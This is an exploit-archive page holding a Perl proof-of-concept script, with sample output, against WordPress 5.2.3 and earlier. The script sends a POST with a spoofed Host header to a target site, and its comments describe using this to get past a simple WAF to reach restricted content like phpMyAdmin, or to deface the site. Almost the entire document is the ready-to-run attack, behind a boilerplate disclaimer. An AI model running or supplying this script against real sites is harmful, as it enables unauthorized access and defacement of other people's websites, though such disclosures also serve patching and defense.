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WordPress 5.2.3 Remote Cross Site Host Modification

WordPress 5.2.3 Remote Cross Site Host Modification
Posted Sep 6, 2019
Authored by Todor Donev

WordPress versions 5.2.3 and below remote cross site host modification proof of concept demo exploit.

tags | exploit, remote, proof of concept
SHA-256 | 1a67567c849803b819562bd468397e980bdac341a6d0c34e47b37bef8c293f41

WordPress 5.2.3 Remote Cross Site Host Modification

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#!/usr/bin/perl -w
#
# Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
# Type: Remote
# Risk: High
#
# Solution:
# Set security headers to web server and no-cache for Cache-Control
#
# Simple Attack Scenarios:
#
# o This attack can bypass Simple WAF to access restricted content on the web server,
# something like phpMyAdmin;
#
# o This attack can deface the vulnerable Wordpress website with content from the default vhost;
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# # Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
# # ====================================================================================
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
# # > Host => default-vhost.com
# # > User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)
# # > Content-Type => application/x-www-form-urlencoded
# # < Connection => close
# # < Date => Fri, 06 Sep 2019 11:39:43 GMT
# # < Location => https://default-vhost.com/
# # < Server => nginx
# # < Content-Type => text/html; charset=UTF-8
# # < Client-Date => Fri, 06 Sep 2019 11:39:43 GMT
# # < Client-Peer => 13.37.13.37:443
# # < Client-Response-Num => 1
# # < Client-SSL-Cert-Issuer => /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
# # < Client-SSL-Cert-Subject => /CN=default-vhost.com
# # < Client-SSL-Cipher => ECDHE-RSA-AES256-GCM-SHA384
# # < Client-SSL-Socket-Class => IO::Socket::SSL
# # < Client-SSL-Warning => Peer certificate not verified
# # < Client-Transfer-Encoding => chunked
# # < Strict-Transport-Security => max-age=31536000;
# # < X-Powered-By => PHP/7.3.9
# # < X-Redirect-By => WordPress
# # ====================================================================================
#
#
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'default-vhost.com';


say "# Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
# ====================================================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>";
if ($host !~ m/^http/){
say "# e.g. perl $0 https://target:port/ default-vhost.com";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
say "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# > $_ => ", $request->header($_) for $request->header_field_names;
say "# < $_ => ", $response->header($_) for $response->header_field_names;
say "# ====================================================================================";
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